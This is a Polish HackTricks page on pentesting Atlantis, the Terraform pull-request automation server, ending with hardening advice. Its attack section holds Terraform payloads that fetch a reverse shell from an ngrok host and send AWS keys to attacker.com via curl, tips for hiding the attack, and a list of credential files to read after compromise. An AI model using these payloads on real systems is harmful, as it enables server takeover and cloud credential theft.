Atlantis Security

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
Zdobądź oficjalne gadżety PEASS & HackTricks
Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦 @hacktricks_live.
Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.

Podstawowe informacje

Atlantis pomaga uruchamiać terraform z Pull Requests z serwera git.

Lokalne laboratorium

Przejdź do strony wydań atlantis na https://github.com/runatlantis/atlantis/releases i pobierz odpowiednią wersję.
Utwórz token osobisty (z dostępem do repozytorium) swojego użytkownika github
Wykonaj ./atlantis testdrive, aby utworzyć repozytorium demonstracyjne, z którego można komunikować się z atlantis
Możesz uzyskać dostęp do strony internetowej pod adresem 127.0.0.1:4141

Dostęp do Atlantis

Dane uwierzytelniające serwera Git

Atlantis obsługuje kilka hostów git, takich jak Github, Gitlab, Bitbucket i Azure DevOps. Jednakże, aby uzyskać dostęp do repozytoriów na tych platformach i wykonywać akcje, musi zostać im nadane pewne uprzywilejowane uprawnienia (przynajmniej uprawnienia do zapisu). Dokumentacja zachęca do utworzenia użytkownika na tych platformach specjalnie dla Atlantis, ale niektórzy ludzie mogą używać kont osobistych.

Z perspektywy atakującego, konto Atlantis będzie bardzo interesujące do skompromitowania.

Webhooki

Atlantis opcjonalnie używa sekretów webhooków, aby zweryfikować, czy webhooki otrzymywane od twojego hosta Git są autentyczne.

Jednym sposobem potwierdzenia tego byłoby dozwolenie na żądania tylko z adresów IP twojego hosta Git, ale łatwiejszym sposobem jest użycie Sekretu Webhooka.

Zauważ, że chyba że używasz prywatnego serwera github lub bitbucket, będziesz musiał wystawić punkty końcowe webhooków do Internetu.

Atlantis będzie wystawiał webhooki, aby serwer git mógł mu przesyłać informacje. Z perspektywy atakującego byłoby interesujące dowiedzieć się, czy można mu wysyłać wiadomości.

Dane uwierzytelniające dostawcy

Z dokumentacji:

Atlantis uruchamia Terraform po prostu wykonując polecenia terraform plan i apply na serwerze, na którym jest hostowany Atlantis. Tak jak w przypadku lokalnego uruchamiania Terraform, Atlantis potrzebuje poświadczeń dla konkretnego dostawcy.

To od ciebie zależy, jak dostarczasz poświadczenia dla konkretnego dostawcy do Atlantis:

Chart Helm Atlantis i Moduł AWS Fargate mają własne mechanizmy do dostarczania poświadczeń dostawcy. Przeczytaj ich dokumentację.
Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby udzielenia dostępu do API chmury aplikacjom działającym na nich, np.:
Role EC2 AWS (Wyszukaj "EC2 Role")
Konta usług instancji GCE
Wielu użytkowników ustawia zmienne środowiskowe, np. AWS_ACCESS_KEY, tam, gdzie działa Atlantis.
Inni tworzą niezbędne pliki konfiguracyjne, np. ~/.aws/credentials, tam, gdzie działa Atlantis.
Użyj Dostawcy HashiCorp Vault, aby uzyskać poświadczenia dostawcy.

Kontener, w którym działa Atlantis, prawdopodobnie zawiera uprzywilejowane poświadczenia do dostawców (AWS, GCP, Github...), którymi Atlantis zarządza za pomocą Terraform.

Strona internetowa

Domyślnie Atlantis uruchomi stronę internetową na porcie 4141 w localhost. Ta strona pozwala jedynie włączyć/wyłączyć zastosowanie atlantis i sprawdzić status planu repozytoriów oraz odblokować je (nie pozwala na modyfikowanie rzeczy, więc nie jest to zbyt przydatne).

Prawdopodobnie nie będzie ona wystawiona do Internetu, ale domyślnie nie są wymagane żadne poświadczenia do jej uzyskania (a jeśli są, domyślne to atlantis:atlantis).

Konfiguracja serwera

Konfigurację atlantis server można określić za pomocą flag w wierszu poleceń, zmiennych środowiskowych, pliku konfiguracyjnego lub mieszanki tych trzech.

Możesz znaleźć tutaj listę flag obsługiwanych przez serwer Atlantis
Możesz znaleźć tutaj, jak przekształcić opcję konfiguracji w zmienną środowiskową

Wartości są wybierane w tej kolejności:

Flagi
Zmienne środowiskowe
Plik konfiguracyjny

Zauważ, że w konfiguracji możesz znaleźć interesujące wartości, takie jak tokeny i hasła.

Konfiguracja repozytoriów

Niektóre konfiguracje wpływają na zarządzanie repozytoriami. Jednakże możliwe jest, że każde repozytorium wymaga różnych ustawień, więc istnieją sposoby określenia każdego repozytorium. Oto kolejność priorytetów:

Plik /atlantis.yml repozytorium. Ten plik może być używany do określenia sposobu traktowania repozytorium przez atlantis. Jednak domyślnie niektóre klucze nie mogą być określone tutaj bez odpowiednich flag.
Prawdopodobnie wymagane jest zezwolenie na to za pomocą flag takich jak allowed_overrides lub allow_custom_workflows
Konfiguracja po stronie serwera: Możesz przekazać ją za pomocą flagi --repo-config i jest to yaml konfigurujący nowe ustawienia dla każdego repozytorium (obsługiwane są wyrażenia regularne)
Domyślne wartości

Zabezpieczenia PR

Atlantis pozwala wskazać, czy chcesz, aby PR został zatwierdzony przez kogoś innego (nawet jeśli nie jest to ustawione w zabezpieczeniach gałęzi) i/lub był scalony (zabezpieczenia gałęzi zostały przekroczone) przed uruchomieniem apply. Z punktu widzenia bezpieczeństwa zaleca się ustawienie obu opcji.

W przypadku, gdy allowed_overrides jest ustawione na True, te ustawienia mogą być nadpisane w każdym projekcie przez plik /atlantis.yml.

Skrypty

Konfiguracja repozytorium może określić skrypty do uruchomienia przed (pre workflow hooks) i po (post workflow hooks) wykonaniu workflow.

Nie ma opcji określenia tych skryptów w pliku /atlantis.yml repozytorium.

Workflow

W konfiguracji repozytorium (konfiguracja po stronie serwera) można określić nowy domyślny workflow lub utworzyć nowe niestandardowe workflowy. Można również określić, które repozytoria mogą uzyskać dostęp do nowo wygenerowanych. Następnie można zezwolić plikowi atlantis.yaml każdego repozytorium na określenie używanego workflowu.

Jeśli flaga konfiguracji po stronie serwera allow_custom_workflows jest ustawiona na True, workflowy mogą być określone w pliku atlantis.yaml każdego repozytorium. Potrzebne jest również, aby allowed_overrides określało również workflow do nadpisania workflowu, który ma być użyty. To w zasadzie da RCE na serwerze Atlantis każdemu użytkownikowi, który może uzyskać dostęp do tego repozytorium.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Sprawdzanie zasad Conftest

Atlantis obsługuje uruchamianie serwerowych zasad conftest przeciwko wynikowi planu. Powszechne przypadki użycia tego kroku obejmują:

Odmawianie korzystania z listy modułów
Potwierdzanie atrybutów zasobu podczas tworzenia
Wykrywanie niezamierzonych usunięć zasobów
Zapobieganie ryzyku bezpieczeństwa (tj. ujawnianie bezpiecznych portów publicznie)

Możesz sprawdzić, jak to skonfigurować w dokumentacji.

Komendy Atlantis

W dokumentacji znajdziesz opcje, które możesz użyć do uruchomienia Atlantisa:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Ataki

Jeśli podczas eksploatacji napotkasz ten błąd: Error: Error acquiring the state lock

Możesz naprawić to, wykonując:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Plan RCE w Atlancie - Modyfikacja konfiguracji w nowym PR

Jeśli masz uprawnienia do zapisu w repozytorium, będziesz mógł utworzyć na nim nową gałąź i wygenerować PR. Jeśli możesz wykonać atlantis plan (lub może być on wykonany automatycznie) będziesz mógł wykonać zdalne wykonanie kodu (RCE) w serwerze Atlantisa.

Możesz to zrobić, umieszczając zewnętrzne źródło danych w Atlancie. Wystarczy umieścić ładunek, podobny do poniższego, w pliku main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Stealthier Attack

Możesz przeprowadzić ten atak nawet w bardziej skrytym sposób, postępując zgodnie z tymi sugestiami:

Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz załadować zewnętrzny zasób, który zawiera rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Możesz znaleźć kod powłoki rev w https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

W zewnętrznym zasobie użyj funkcji ref, aby ukryć kod powłoki terraform w gałęzi wewnątrz repozytorium, coś w rodzaju: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Zamiast tworzyć PR do master w celu uruchomienia Atlantisa, utwórz 2 gałęzie (test1 i test2) i utwórz PR z jednej do drugiej. Po zakończeniu ataku, po prostu usuń PR i gałęzie.

Wyciek sekretów z planu Atlantisa

Możesz wyciągnąć sekrety używane przez terraform uruchamiając atlantis plan (terraform plan) poprzez umieszczenie czegoś w ten deseń w pliku terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis zastosuj RCE - Modyfikacja konfiguracji w nowym PR

Jeśli masz uprawnienia do zapisu w repozytorium, będziesz mógł utworzyć na nim nową gałąź i wygenerować PR. Jeśli możesz wykonać atlantis apply, będziesz mógł wykonać RCE w serwerze Atlantis.

Jednak zazwyczaj będziesz musiał ominąć pewne zabezpieczenia:

Możliwość scalenia: Jeśli to zabezpieczenie jest ustawione w Atlantis, możesz uruchomić atlantis apply tylko wtedy, gdy PR jest możliwy do scalenia (co oznacza, że zabezpieczenie gałęzi musi zostać zignorowane).
Sprawdź potencjalne omijanie zabezpieczeń gałęzi
Zatwierdzenie: Jeśli to zabezpieczenie jest ustawione w Atlantis, inny użytkownik musi zatwierdzić PR, zanim będziesz mógł uruchomić atlantis apply
Domyślnie możesz nadużyć tokena Gitbota, aby ominąć to zabezpieczenie

Uruchamianie terraform apply na złośliwym pliku Terraform z local-exec. Wystarczy upewnić się, że pewny ładunek, jak poniższe przykłady, znajduje się w pliku main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Postępuj zgodnie z sugestiami z poprzedniej techniki, aby przeprowadzić ten atak w bardziej skrytym sposób.

Wstrzykiwanie Parametrów Terraform

Podczas uruchamiania atlantis plan lub atlantis apply, Terraform jest uruchamiany wewnętrznie, możesz przekazać polecenia do Terraform z atlantis, komentując coś w stylu:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Coś, co można przekazać, to zmienne środowiskowe, które mogą być pomocne w ominięciu niektórych zabezpieczeń. Sprawdź zmienne środowiskowe Terraforma w https://www.terraform.io/cli/config/environment-variables

Niestandardowy przepływ pracy

Uruchamianie złośliwych niestandardowych poleceń budowania określonych w pliku atlantis.yaml. Atlantis używa pliku atlantis.yaml z gałęzi żądania ściągnięcia, nie z master. Ta możliwość została wspomniana w poprzednim rozdziale:

Jeśli flaga konfiguracja po stronie serwera allow_custom_workflows jest ustawiona na True, przepływy pracy mogą być określone w pliku atlantis.yaml każdego repozytorium. Potrzebne jest również, aby allowed_overrides określało również workflow do zastąpienia przepływu pracy, który ma być użyty.

To w zasadzie da RCE w serwerze Atlantis dla każdego użytkownika, który może uzyskać dostęp do tego repozytorium.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Pomijanie zabezpieczeń planowania/wdrażania

Jeśli flaga konfiguracja po stronie serwera allowed_overrides ma skonfigurowane apply_requirements, repozytorium może zmodyfikować zabezpieczenia planowania/wdrażania w celu ich pominięcia.

repos:
- id: /.*/
apply_requirements: []

Przechwytywanie PR

Jeśli ktoś wysyła komentarze atlantis plan/apply na Twoje ważne żądania ściągnięcia, spowoduje to uruchomienie terraformu, gdy nie chcesz tego.

Co więcej, jeśli nie masz skonfigurowanej ochrony gałęzi w celu ponownej oceny każdego PR po wciśnięciu nowego commita do niego, ktoś mógłby napisać złośliwe konfiguracje (sprawdź poprzednie scenariusze) w konfiguracji terraformu, uruchomić atlantis plan/apply i uzyskać RCE.

Oto ustawienie w zabezpieczeniach gałęzi Github:

Sekret webhooka

Jeśli uda Ci się ukraść używany sekret webhooka lub jeśli nie ma używanego żadnego sekretu webhooka, możesz wywołać webhook Atlantisa i wywołać polecenia atlatis bezpośrednio.

Bitbucket

Bitbucket Cloud nie obsługuje sekretów webhooka. Może to pozwolić atakującym na podrobienie żądań z Bitbucket. Upewnij się, że zezwalasz tylko na adresy IP Bitbucket.

Oznacza to, że atakujący mógłby wysyłać fałszywe żądania do Atlantisa, które wyglądają, jakby pochodziły z Bitbucket.
Jeśli określasz --repo-allowlist, mogliby tylko fałszować żądania dotyczące tych repozytoriów, więc największą szkodę mogliby wyrządzić na swoich własnych repozytoriach.
Aby temu zapobiec, dodaj na białą listę adresy IP Bitbucketa (zobacz adresy IP Bitbucket Cloud).

Po wykorzystaniu

Jeśli udało Ci się uzyskać dostęp do serwera lub przynajmniej uzyskałeś LFI, istnieje kilka interesujących rzeczy, które warto spróbować odczytać:

/home/atlantis/.git-credentials Zawiera dane dostępu do VCS
/atlantis-data/atlantis.db Zawiera dane dostępu do VCS z dodatkowymi informacjami
/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Plik stanu terraformu
Przykład: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environ Zmienne środowiskowe
/proc/[2-20]/cmdline Linia poleceń atlantis server (może zawierać dane poufne)

Mitygacje

Nie Używaj Na Publicznych Repozytoriach

Ponieważ każdy może komentować publiczne żądania ściągnięcia, nawet przy dostępnych wszystkich dostępnych zabezpieczeniach, nadal jest niebezpieczne uruchamianie Atlantisa na publicznych repozytoriach bez właściwej konfiguracji ustawień zabezpieczeń.

Nie Używaj `--allow-fork-prs`

Jeśli działasz na publicznym repozytorium (co nie jest zalecane, patrz powyżej), nie powinieneś ustawiać --allow-fork-prs (domyślnie false), ponieważ każdy może otworzyć żądanie ściągnięcia ze swojego forka do Twojego repozytorium.

`--repo-allowlist`

Atlantis wymaga określenia białej listy repozytoriów, z których będzie akceptować webhooki za pomocą flagi --repo-allowlist. Na przykład:

Konkretne repozytoria: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
Cała Twoja organizacja: --repo-allowlist=github.com/runatlantis/*
Wszystkie repozytoria w Twojej instalacji GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*
Wszystkie repozytoria: --repo-allowlist=*. Przydatne, gdy jesteś w sieci chronionej, ale niebezpieczne bez ustawienia sekretu webhooka.

Ta flaga zapewnia, że Twoja instalacja Atlantisa nie jest używana z repozytoriami, którymi nie zarządzasz. Zobacz atlantis server --help po więcej szczegółów.

Ochrona Planowania Terraformu

Jeśli atakujący składający żądania ściągnięcia z złośliwym kodem Terraformu znajduje się w Twoim modelu zagrożeń, musisz być świadomy, że zatwierdzenia terraform apply nie są wystarczające. Istnieje możliwość uruchomienia złośliwego kodu w terraform plan, korzystając z źródła danych external lub poprzez określenie złośliwego dostawcy. Ten kod mógłby wyciekać Twoje dane uwierzytelniające.

Aby temu zapobiec, możesz:

Wgrać dostawców do obrazu Atlantisa lub hosta i zablokować egress w produkcji.
Wdrożyć protokół rejestru dostawców wewnętrznie i zablokować publiczny egress, w ten sposób kontrolujesz, kto ma dostęp do rejestru zapisu.
Zmodyfikować konfigurację repozytorium po stronie serwera w kroku plan, aby sprawdzać użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym punkcie, np. wymagając "kciuka w górę" na PR przed zezwoleniem na kontynuację plan. Conftest może być tu przydatny.

Sekrety Webhooka

Atlantis powinien być uruchamiany z ustawionymi sekretami webhooka za pomocą zmiennych środowiskowych $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Nawet z ustawioną flagą --repo-allowlist, bez sekretu webhooka, atakujący mogliby wysyłać żądania do Atlantisa podszywając się pod repozytorium, które jest na białej liście. Sekrety webhooka zapewniają, że żądania webhooka faktycznie pochodzą od Twojego dostawcy VCS (GitHub lub GitLab).

Jeśli korzystasz z Azure DevOps, zamiast sekretów webhooka dodaj podstawową nazwę użytkownika i hasło.

Podstawowa Autentykacja Azure DevOps

Azure DevOps obsługuje wysyłanie nagłówka podstawowej autentykacji we wszystkich zdarzeniach webhooka. Wymaga to użycia adresu URL HTTPS dla lokalizacji webhooka.

SSL/HTTPS

Jeśli korzystasz z sekretów webhooka, ale ruch odbywa się przez HTTP, sekrety webhooka mogą zostać skradzione. Włącz SSL/HTTPS za pomocą flag --ssl-cert-file i --ssl-key-file.

Włącz Autentykację na Serwerze WWW Atlantisa

Bardzo zaleca się włączenie autentykacji w usłudze sieciowej. Włącz BasicAuth za pomocą --web-basic-auth=true i skonfiguruj nazwę użytkownika i hasło za pomocą flag --web-username=yourUsername i --web-password=yourPassword.

Możesz również przekazać je jako zmienne środowiskowe ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername i ATLANTIS_WEB_PASSWORD=yourPassword.

Odnośniki

PreviousTerraform Security NextCloudflare Security

Last updated 1 month ago